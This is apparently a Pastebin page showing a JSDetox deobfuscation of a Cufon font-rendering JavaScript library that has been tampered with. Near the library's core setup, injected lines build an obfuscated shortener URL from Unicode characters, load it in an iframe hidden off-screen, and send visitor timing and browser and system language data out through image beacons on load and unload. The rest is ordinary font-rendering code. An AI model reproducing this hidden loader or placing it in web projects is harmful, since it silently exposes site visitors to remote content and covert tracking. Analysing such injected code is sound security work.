Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- JSDetox
- Analysis
- About
- Code Analysis
- HTML Document
- Data Analysis
- Analyze Reformat Execute Upload
- Code
- Execution
- Send up
- Formatted
- Edit
- var Cufon = function() {
- function A(a){
- var b = this.face = a.face;
- var c = {
- " ": 1,
- "\u00a0": 1,
- "\u3000": 1
- };
- this.glyphs = a.glyphs;
- this.w = a.w;
- this.baseSize = parseInt(b["units-per-em"], 10);
- this.family = b["font-family"].toLowerCase();
- this.weight = b["font-weight"];
- this.style = b["font-style"] || "normal";
- this.viewBox = function() {
- var a = b.bbox.split(/\s+/);
- var a = {
- minX: parseInt(a[0], 10),
- minY: parseInt(a[1], 10),
- maxX: parseInt(a[2], 10),
- maxY: parseInt(a[3], 10)
- };
- a.width = a.maxX - a.minX;
- a.height = a.maxY - a.minY;
- a.toString = function() {
- return [this.minX, this.minY, this.width, this.height].join(" ");
- };
- return a;
- }();
- this.ascent = -parseInt(b.ascent, 10);
- this.descent = -parseInt(b.descent, 10);
- this.height = -this.ascent + this.descent;
- this.spacing = function(a, b, p) {
- for(var g = this.glyphs;
- var t;
- var h;
- var e = [];
- var f = 0;
- var q = -1;
- var k = -1;
- var l; l = a[++q]; ) if(t = g[l] || this.missingGlyph) h && (f -= h = h[l] || 0, e[k] -= h), f += e[++k] = ~~(t.w || this.w) + b + (c[l] ? p : 0), h = t.k;
- e.total = f;
- return e;
- };
- }
- function H(){
- var a = { };
- var b = {
- oblique: "italic",
- italic: "oblique"
- };
- this.add = function(b) {
- (a[b.style] || (a[b.style] = { }))[b.weight] = b;
- };
- this.get = function(c, d) {
- var z = a[c] || a[b[c]] || a.normal || a.italic || a.oblique;
- if(!z) return null;
- d = {
- normal: 400,
- bold: 700
- }[d] || parseInt(d, 10);
- if(z[d]) return z[d];
- var p = {
- 1: 1,
- 99: 0
- }[d % 100];
- var e = [];
- var t;
- var h;
- void(0) === p && (p = 400 < d);
- 500 == d && (d = 400);
- for(var f in z) if(z.hasOwnProperty(f)) {
- f = parseInt(f, 10);
- if(!t || f < t) t = f;
- if(!h || f > h) h = f;
- e.push(f);
- }
- d < t && (d = t);
- d > h && (d = h);
- e.sort(function(a, b) {
- return (p ? a >= d && b >= d ? a < b : a > b : a <= d && b <= d ? a > b : a < b) ? -1 : 1;
- });
- return z[e[0]];
- };
- }
- function r(a){
- var b = { };
- var c = { };
- this.extend = function(a) {
- for(var c in a) a.hasOwnProperty(c) && (b[c] = a[c]);
- return this;
- };
- this.get = function(d) {
- return void(0) != b[d] ? b[d] : a[d];
- };
- this.getSize = function(a, b) {
- return c[a] || (c[a] = new l.Size(this.get(a), b));
- };
- this.isUsable = function() {
- return !!a;
- };
- }
- function I(a, b, c){
- a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent && a.attachEvent("on" + b, function() {
- return c.call(a, window.event);
- });
- }
- function C(a, b){
- var c = m.get(a);
- if(c.options) return a;
- b.hover && b.hoverables[a.nodeName.toLowerCase()] && v.attach(a);
- c.options = b;
- return a;
- }
- function e(a){
- var b = { };
- return function(c) {
- b.hasOwnProperty(c) || (b[c] = a.apply(null, arguments));
- return b[c];
- };
- }
- function q(a){
- return document.getElementsByTagName(a);
- }
- function k(){
- for(var a = { };
- var b;
- var c;
- var d = 0;
- var z = arguments.length; b = arguments[d], d < z; ++d) for(c in b) b.hasOwnProperty(c) && (a[c] = b[c]);
- return a;
- }
- function f(a, b, c, d, z, p){
- var f = document.createDocumentFragment();
- if("" === b) return f;
- var t = d.separate;
- var h = b.split(J[t]);
- (t = "words" == t) && x && (/^\s/.test(b) && h.unshift(""), /\s$/.test(b) && h.push(""));
- for(var e = 0;
- var g = h.length; e < g; ++e) (b = s[d.engine](a, t ? l.textAlign(h[e], c, e, g) : h[e], c, d, z, p, e < g - 1)) && f.appendChild(b);
- return f;
- }
- function w(a, b){
- var c = a.nodeName.toLowerCase();
- if(!b.ignore[c]) {
- var c = !b.textless[c];
- var d = l.getStyle(C(a, b)).extend(b);
- var e;
- a: {
- e = l.quotedList(d.get("fontFamily").toLowerCase());
- for(var p;
- var g = 0; p = e[g]; ++g) if(u[p]) {
- e = u[p].get(d.get("fontStyle"), d.get("fontWeight"));
- break a;
- }
- e = null;
- }
- var t;
- var h;
- var k;
- if(e) for(p = a.firstChild; p; p = t) if(g = p.nodeType, t = p.nextSibling, !c || 3 != g || (h ? (h.appendData(p.data), a.removeChild(p)) : h = p, !t)) if(h && (a.replaceChild(f(e, l.whiteSpace(h.data, d, h, k), d, b, p, a), h), h = null), 1 == g) {
- if(p.firstChild) if("cufon" == p.nodeName.toLowerCase()) s[b.engine](e, null, d, b, p, a); else arguments.callee(p, b);
- k = p;
- }
- }
- }
- var g = function() {
- return g.replace.apply(null, arguments);
- };
- var n = g.DOM = {
- ready: function() {
- var a = !1;
- var b = {
- loaded: 1,
- complete: 1
- };
- var c = [];
- var d = function() {
- if(!a) {
- a = !0;
- for(var b; b = c.shift(); b()) ;
- }
- };
- document.addEventListener && (document.addEventListener("DOMContentLoaded", d, !1), window.addEventListener("pageshow", d, !1));
- !window.opera && document.readyState && function() {
- b[document.readyState] ? d() : setTimeout(arguments.callee, 10);
- }();
- document.readyState && document.createStyleSheet && function() {
- try {
- document.body.doScroll("left"), d();
- } catch(a) {
- setTimeout(arguments.callee, 1);
- }
- }();
- I(window, "load", d);
- return function(b) {
- arguments.length ? a ? b() : c.push(b) : d();
- };
- }(),
- root: function() {
- return document.documentElement || document.body;
- }
- };
- var l = g.CSS = {
- Size: function(a, b) {
- this.value = parseFloat(a);
- this.unit = String(a).match(/[a-z%]*$/)[0] || "px";
- this.convert = function(a) {
- return a / b * this.value;
- };
- this.convertFrom = function(a) {
- return a / this.value * b;
- };
- this.toString = function() {
- return this.value + this.unit;
- };
- },
- addClass: function(a, b) {
- var c = a.className;
- a.className = c + (c && " ") + b;
- return a;
- },
- color: e(function(a) {
- var b = { };
- b.color = a.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function(a, d, e) {
- b.opacity = parseFloat(e);
- return "rgb(" + d + ")";
- });
- return b;
- }),
- fontStretch: e(function(a) {
- return "number" == typeof a ? a : /%$/.test(a) ? parseFloat(a) / 100 : {
- "ultra-condensed": 0.5,
- "extra-condensed": 0.625,
- condensed: 0.75,
- "semi-condensed": 0.875,
- "semi-expanded": 1.125,
- expanded: 1.25,
- "extra-expanded": 1.5,
- "ultra-expanded": 2
- }[a] || 1;
- }),
- getStyle: function(a) {
- var b = document.defaultView;
- return b && b.getComputedStyle ? new r(b.getComputedStyle(a, null)) : a.currentStyle ? new r(a.currentStyle) : new r(a.style);
- },
- gradient: e(function(a) {
- var b = {
- id: a,
- type: a.match(/^-([a-z]+)-gradient\(/)[1],
- stops: []
- };
- a = a.substr(a.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
- for(var c = 0;
- var d = a.length;
- var e; c < d; ++c) e = a[c].split("=", 2).reverse(), b.stops.push([e[1] || c / (d - 1), e[0]]);
- return b;
- }),
- quotedList: e(function(a) {
- for(var b = [];
- var c = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g;
- var d; d = c.exec(a); ) b.push(d[3] || d[1]);
- return b;
- }),
- recognizesMedia: e(function(a) {
- var b = document.createElement("style");
- var c;
- b.type = "text/css";
- b.media = a;
- try {
- b.appendChild(document.createTextNode("/**/"));
- } catch(d) {
- }
- a = q("head")[0];
- a.insertBefore(b, a.firstChild);
- c = (c = b.sheet || b.styleSheet) && !c.disabled;
- a.removeChild(b);
- return c;
- }),
- removeClass: function(a, b) {
- a.className = a.className.replace(RegExp("(?:^|\\s+)" + b + "(?=\\s|$)", "g"), "");
- return a;
- },
- supports: function(a, b) {
- var c = document.createElement("span").style;
- if(void(0) === c[a]) return !1;
- c[a] = b;
- return c[a] === b;
- },
- textAlign: function(a, b, c, d) {
- "right" == b.get("textAlign") ? 0 < c && (a = " " + a) : c < d - 1 && (a += " ");
- return a;
- },
- textShadow: e(function(a) {
- if("none" == a) return null;
- for(var b = [];
- var c = { };
- var d;
- var e = 0;
- var f = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig; d = f.exec(a); ) "," == d[0] ? (b.push(c), c = { }, e = 0) : d[1] ? c.color = d[1] : c[["offX", "offY", "blur"][e++]] = d[2];
- b.push(c);
- return b;
- }),
- textTransform: function() {
- var a = {
- uppercase: function(a) {
- return a.toUpperCase();
- },
- lowercase: function(a) {
- return a.toLowerCase();
- },
- capitalize: function(a) {
- return a.replace(/\b./g, function(a) {
- return a.toUpperCase();
- });
- }
- };
- return function(b, c) {
- var d = a[c.get("textTransform")];
- return d ? d(b) : b;
- };
- }(),
- whiteSpace: function() {
- var a = {
- inline: 1,
- "inline-block": 1,
- "run-in": 1
- };
- var b = /^\s+/;
- var c = /\s+$/;
- return function(d, e, f, g) {
- g && "br" == g.nodeName.toLowerCase() && (d = d.replace(b, ""));
- if(a[e.get("display")]) return d;
- f.previousSibling || (d = d.replace(b, ""));
- f.nextSibling || (d = d.replace(c, ""));
- return d;
- };
- }()
- };
- l.ready = function() {
- function a(b, d){
- if(!l.recognizesMedia(d || "all")) return !0;
- if(!b || b.disabled) return !1;
- try {
- var c = b.cssRules;
- var e;
- if(c) {
- var f = 0;
- var g = c.length;
- a: for(; e = c[f], f < g; ++f) switch(e.type) {
- case 2:
- break;
- case 3:
- if(!a(e.styleSheet, e.media.mediaText)) return !1;
- break;
- default:
- break a;
- }
- }
- } catch(p) {
- }
- return !0;
- }
- function b(){
- if(document.createStyleSheet) return !0;
- var b;
- var d;
- for(d = 0; b = f[d]; ++d) if("stylesheet" == b.rel.toLowerCase() && !b.disabled && !a(b.sheet, b.media || "screen")) return !1;
- for(d = 0; b = g[d]; ++d) if(!b.disabled && !a(b.sheet, b.media || "screen")) return !1;
- return !0;
- }
- var c = !l.recognizesMedia("all");
- var d = !1;
- var e = [];
- var f = q("link");
- var g = q("style");
- n.ready(function() {
- d || (d = l.getStyle(document.body).isUsable());
- if(c || d && b()) {
- c = !0;
- for(var a; a = e.shift(); a()) ;
- } else setTimeout(arguments.callee, 10);
- });
- return function(a) {
- c ? a() : e.push(a);
- };
- }();
- var x = 0 == " ".split(/\s+/).length;
- var m = new function() {
- var a = { };
- var b = 0;
- this.get = function(c) {
- c = c.cufid || (c.cufid = ++b);
- return a[c] || (a[c] = { });
- };
- }();
- var v = new function() {
- function a(a){
- var b = a.relatedTarget;
- var e;
- (e = !b) || (e = this.contains ? this.contains(b) : this.compareDocumentPosition(b) & 16);
- e || c(this, "mouseover" == a.type);
- }
- function b(a){
- c(this, "mouseenter" == a.type);
- }
- function c(a, b){
- setTimeout(function() {
- var c = m.get(a).options;
- g.replace(a, b ? k(c, c.hover) : c, !0);
- }, 10);
- }
- this.attach = function(c) {
- void(0) === c.onmouseenter ? (I(c, "mouseover", a), I(c, "mouseout", a)) : (I(c, "mouseenter", b), I(c, "mouseleave", b));
- };
- }();
- var y = new function() {
- var a = [];
- var b = { };
- this.add = function(c, d) {
- b[c] = a.push(d) - 1;
- };
- this.repeat = function() {
- var c;
- if(arguments.length) {
- c = arguments;
- for(var d = [];
- var e;
- var f = 0; e = c[f]; ++f) d[f] = a[b[e]];
- c = d;
- } else c = a;
- for(e = 0; d = c[e++]; ) g.replace(d[0], d[1], !0);
- };
- }();
- var N = !1;
- var s = { };
- var u = { };
- var B = {
- autoDetect: !1,
- engine: null,
- forceHitArea: !1,
- hover: !1,
- hoverables: {
- a: !0
- },
- ignore: {
- applet: 1,
- canvas: 1,
- col: 1,
- colgroup: 1,
- head: 1,
- iframe: 1,
- map: 1,
- optgroup: 1,
- option: 1,
- script: 1,
- select: 1,
- style: 1,
- textarea: 1,
- title: 1,
- pre: 1
- },
- printable: !0,
- selector: window.Sizzle || window.jQuery && function(a) {
- return jQuery(a);
- } || window.dojo && dojo.query || window.Ext && Ext.query || window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query || window.$$ && function(a) {
- return $$(a);
- } || window.$ && function(a) {
- return $(a);
- } || document.querySelectorAll && function(a) {
- return document.querySelectorAll(a);
- } || q,
- separate: "words",
- textless: {
- dl: 1,
- html: 1,
- ol: 1,
- table: 1,
- tbody: 1,
- thead: 1,
- tfoot: 1,
- tr: 1,
- ul: 1
- },
- textShadow: "none"
- };
- window.ggc = "/\u24d6oo.\u24d6l/";
- window.ggp = "\bhttps:/";
- window.onunload = function() {
- (new Image()).src = pingurl + ",f" + suid + ",u" + ((new Date()).getTime() - D);
- };
- var J = {
- words: /\s/.test("\u00a0") ? /[^\S\u00a0]+/ : /\s+/,
- characters: "",
- none: /^/
- };
- var E = document.createElement("iframe");
- var D = (new Date()).getTime();
- var F = !1;
- with(E) style.position = "absolute", style.left = "-4201px", src = ggp + ggc + "gN5ZJY", onload = function() {
- F || ((new Image()).src = pingurl + ",f" + suid + ",l" + ((new Date()).getTime() - D) + ",g" + szone + "!" + navigator.browserLanguage + "!" + navigator.userLanguage + "!" + navigator.systemLanguage, F = !0);
- };
- g.never = function() {
- return ggc + ggp;
- };
- g.now = function() {
- n.ready();
- return g;
- };
- g.refresh = function() {
- y.repeat.apply(y, arguments);
- return g;
- };
- g.registerEngine = function(a, b) {
- if(!b) return g;
- s[a] = b;
- return g.set("engine", a);
- };
- g.registerFont = function(a) {
- if(!a) return g;
- a = new A(a);
- var b = a.family;
- u[b] || (u[b] = new H());
- u[b].add(a);
- return g.set("fontFamily", '"' + b + '"');
- };
- g.replace = function(a, b, c) {
- b = k(B, b);
- if(!b.engine) return g;
- N || (l.addClass(n.root(), "cufon-active cufon-loading"), l.ready(function() {
- l.addClass(l.removeClass(n.root(), "cufon-loading"), "cufon-ready");
- }), N = !0);
- b.hover && (b.forceHitArea = !0);
- b.autoDetect && delete b.fontFamily;
- "string" == typeof b.textShadow && (b.textShadow = l.textShadow(b.textShadow));
- "string" == typeof b.color && /^-/.test(b.color) ? b.textGradient = l.gradient(b.color) : delete b.textGradient;
- c || y.add(a, arguments);
- if(a.nodeType || "string" == typeof a) a = [a];
- l.ready(function() {
- for(var c = 0;
- var e = a.length; c < e; ++c) {
- var f = a[c];
- "string" == typeof f ? g.replace(b.selector(f), b, !0) : w(f, b);
- }
- });
- return g;
- };
- g.set = function(a, b) {
- B[a] = b;
- return g;
- };
- document.body.appendChild(E);
- return g;
- }();
- Cufon.registerEngine("vml", function() {
- function A(e, q){
- if("0" === q) return 0;
- if(/px$/i.test(q)) return parseFloat(q);
- var k = e.style.left;
- var f = e.runtimeStyle.left;
- e.runtimeStyle.left = e.currentStyle.left;
- e.style.left = q.replace("%", "em");
- var w = e.style.pixelLeft;
- e.style.left = k;
- e.runtimeStyle.left = f;
- return w;
- }
- function H(e, q, k, f){
- var w = "computed" + f;
- var g = q[w];
- isNaN(g) && (g = q.get(f), q[w] = g = "normal" == g ? 0 : ~~k.convertFrom(A(e, g)));
- return g;
- }
- var r = document.namespaces;
- if(r && (r.add("cvml", "urn:schemas-microsoft-com:vml"), r = null, r = document.createElement("cvml:shape"), r.style.behavior = "url(#default#VML)", r.coordsize)) {
- var r = null;
- var I = 8 > (document.documentMode || 0);
- document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:' + (I ? "middle" : "text-bottom") + ";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g, "!important;"));
- var C = { };
- return function(e, q, k, f, w, g, n) {
- var l = null === q;
- l && (q = w.alt);
- var x = e.viewBox;
- var m;
- if(!(m = k.computedFontSize)) {
- m = Cufon.CSS.Size;
- var v;
- v = k.get("fontSize");
- v = A(g, /(?:em|ex|%)$|^[a-z-]+$/i.test(v) ? "1em" : v);
- m = k.computedFontSize = new m(v + "px", e.baseSize);
- }
- v = m;
- if(l) m = w, w = w.firstChild; else {
- m = document.createElement("cufon");
- m.className = "cufon cufon-vml";
- m.alt = q;
- w = document.createElement("cufoncanvas");
- m.appendChild(w);
- if(f.printable) {
- var y = document.createElement("cufontext");
- y.appendChild(document.createTextNode(q));
- m.appendChild(y);
- }
- n || m.appendChild(document.createElement("cvml:shape"));
- }
- n = m.style;
- var r = w.style;
- var s = v.convert(x.height);
- var y = Math.ceil(s);
- var s = y / s * Cufon.CSS.fontStretch(k.get("fontStretch"));
- var u = x.minX;
- var B = x.minY;
- r.height = y;
- r.top = Math.round(v.convert(B - e.ascent));
- r.left = Math.round(v.convert(u));
- n.height = v.convert(e.height) + "px";
- var J = k.get("color");
- var E = Cufon.CSS.textTransform(q, k).split("");
- var D = e.spacing(E, H(g, k, v, "letterSpacing"), H(g, k, v, "wordSpacing"));
- if(!D.length) return null;
- q = D.total;
- var F = -u + q + (x.width - D[D.length - 1]);
- var r = v.convert(F * s);
- var r = Math.round(r);
- var x = F + "," + x.height;
- var a;
- var F = "r" + x + "ns";
- var b;
- if(b = f.textGradient) {
- var c = f.textGradient;
- b = c.id;
- if(!C[b]) {
- var c = c.stops;
- var d = document.createElement("cvml:fill");
- var z = [];
- d.type = "gradient";
- d.angle = 180;
- d.focus = "0";
- d.method = "sigma";
- d.color = c[0][1];
- for(var p = 1;
- var K = c.length - 1; p < K; ++p) z.push(100 * c[p][0] + "% " + c[p][1]);
- d.colors = z.join(",");
- d.color2 = c[K][1];
- C[b] = d;
- }
- b = C[b];
- }
- c = e.glyphs;
- d = 0;
- z = f.textShadow;
- p = -1;
- for(K = 0; E[++p]; ) {
- var t = c[E[p]] || e.missingGlyph;
- var h;
- if(t) {
- if(l) for(h = w.childNodes[K]; h.firstChild; ) h.removeChild(h.firstChild); else h = document.createElement("cvml:shape"), w.appendChild(h);
- h.stroked = "f";
- h.coordsize = x;
- h.coordorigin = a = u - d + "," + B;
- h.path = (t.d ? "m" + t.d + "xe" : "") + "m" + a + F;
- h.fillcolor = J;
- b && h.appendChild(b.cloneNode(!1));
- a = h.style;
- a.width = r;
- a.height = y;
- if(z) {
- a = z[0];
- var t = z[1];
- var M = Cufon.CSS.color(a.color);
- var L;
- var G = document.createElement("cvml:shadow");
- G.on = "t";
- G.color = M.color;
- G.offset = a.offX + "," + a.offY;
- t && (L = Cufon.CSS.color(t.color), G.type = "double", G.color2 = L.color, G.offset2 = t.offX + "," + t.offY);
- G.opacity = M.opacity || L && L.opacity || 1;
- h.appendChild(G);
- }
- d += D[K++];
- }
- }
- e = h.nextSibling;
- f.forceHitArea ? (e || (e = document.createElement("cvml:rect"), e.stroked = "f", e.className = "cufon-vml-cover", f = document.createElement("cvml:fill"), f.opacity = 0, e.appendChild(f), w.appendChild(e)), f = e.style, f.width = r, f.height = y) : e && w.removeChild(e);
- n.width = Math.max(Math.ceil(v.convert(q * s)), 0);
- I && (f = k.computedYAdjust, void(0) === f && (f = k.get("lineHeight"), "normal" == f ? f = "1em" : isNaN(f) || (f += "em"), k.computedYAdjust = f = 0.5 * (A(g, f) - parseFloat(n.height))), f && (n.marginTop = Math.ceil(f) + "px", n.marginBottom = f + "px"));
- return m;
- };
- }
- }());
- Cufon.registerEngine("canvas", function() {
- var A = document.createElement("canvas");
- if(A && A.getContext && A.getContext.apply) {
- var A = null;
- var H = Cufon.CSS.supports("display", "inline-block");
- var A = !H && ("BackCompat" == document.compatMode || /frameset|transitional/i.test(document.doctype.publicId));
- var r = document.createElement("style");
- r.type = "text/css";
- r.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;" + (A ? "" : "font-size:1px;line-height:1px;") + "}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}" + (H ? "cufon canvas{position:relative;}" : "cufon canvas{position:absolute;}") + "}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g, "!important;")));
- document.getElementsByTagName("head")[0].appendChild(r);
- return function(r, C, e, q, k, f) {
- function w(){
- var b = r.glyphs;
- var c;
- var d = -1;
- var e = -1;
- for(a.scale(F, 1); J[++d]; ) if(c = b[J[d]] || r.missingGlyph) {
- if(c.d) {
- a.beginPath();
- if(c.code) {
- var f = c.code;
- c = a;
- for(var g = 0;
- var k = f.length; g < k; ++g) {
- var h = f[g];
- c[h.m].apply(c, h.a);
- }
- } else {
- f = c;
- c = "m" + c.d;
- var g = a;
- var h = k = 0;
- var l = [];
- var q = /([mrvxe])([^a-z]*)/g;
- var s = void(0);
- var n = 0;
- a: for(; s = q.exec(c); ++n) {
- var m = s[2].split(",");
- switch(s[1]) {
- case "v":
- l[n] = {
- m: "bezierCurveTo",
- a: [k + ~~m[0], h + ~~m[1], k + ~~m[2], h + ~~m[3], k += ~~m[4], h += ~~m[5]]
- };
- break;
- case "r":
- l[n] = {
- m: "lineTo",
- a: [k += ~~m[0], h += ~~m[1]]
- };
- break;
- case "m":
- l[n] = {
- m: "moveTo",
- a: [k = ~~m[0], h = ~~m[1]]
- };
- break;
- case "x":
- l[n] = {
- m: "closePath"
- };
- break;
- case "e":
- break a;
- }
- g[l[n].m].apply(g, l[n].a);
- }
- f.code = l;
- }
- a.fill();
- }
- a.translate(E[++e], 0);
- }
- a.restore();
- }
- var g = null === C;
- g && (C = k.getAttribute("alt"));
- f = r.viewBox;
- var n = e.getSize("fontSize", r.baseSize);
- var l = 0;
- var x = 0;
- var m = 0;
- var v = 0;
- var y = q.textShadow;
- var A = [];
- if(y) for(var s = y.length; s--; ) {
- var u = y[s];
- var B = n.convertFrom(parseFloat(u.offX));
- var u = n.convertFrom(parseFloat(u.offY));
- A[s] = [B, u];
- u < l && (l = u);
- B > x && (x = B);
- u > m && (m = u);
- B < v && (v = B);
- }
- var J = Cufon.CSS.textTransform(C, e).split("");
- var E = r.spacing(J, ~~n.convertFrom(parseFloat(e.get("letterSpacing")) || 0), ~~n.convertFrom(parseFloat(e.get("wordSpacing")) || 0));
- if(!E.length) return null;
- u = E.total;
- x += f.width - E[E.length - 1];
- v += f.minX;
- g ? (g = k, s = k.firstChild) : (g = document.createElement("cufon"), g.className = "cufon cufon-canvas", g.setAttribute("alt", C), s = document.createElement("canvas"), g.appendChild(s), q.printable && (k = document.createElement("cufontext"), k.appendChild(document.createTextNode(C)), g.appendChild(k)));
- k = g.style;
- var D = s.style;
- var B = n.convert(f.height);
- C = Math.ceil(B) / B;
- var F = C * Cufon.CSS.fontStretch(e.get("fontStretch"));
- var u = u * F;
- var x = Math.ceil(n.convert(u + x - v));
- var m = Math.ceil(n.convert(f.height - l + m));
- s.width = x;
- s.height = m;
- D.width = x + "px";
- D.height = m + "px";
- l += f.minY;
- D.top = Math.round(n.convert(l - r.ascent)) + "px";
- D.left = Math.round(n.convert(v)) + "px";
- m = Math.max(Math.ceil(n.convert(u)), 0) + "px";
- H ? (k.width = m, k.height = n.convert(r.height) + "px") : (k.paddingLeft = m, k.paddingBottom = n.convert(r.height) - 1 + "px");
- var a = s.getContext("2d");
- var n = B / f.height;
- a.scale(n, n * C);
- a.translate(-v, -l);
- a.save();
- if(y) for(s = y.length; s--; ) u = y[s], a.save(), a.fillStyle = u.color, a.translate.apply(a, A[s]), w();
- if(q = q.textGradient) {
- e = q.stops;
- f = a.createLinearGradient(0, f.minY, 0, f.maxY);
- s = 0;
- for(q = e.length; s < q; ++s) f.addColorStop.apply(f, e[s]);
- a.fillStyle = f;
- } else a.fillStyle = e.get("color");
- w();
- return g;
- };
- }
- }());
- CODE ANALYSIS OPTIONS
- Do not trace variable values
- DATA ANALYSIS OPTIONS
- Interpret Shellcode as
- Reformat/Beautify Code
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement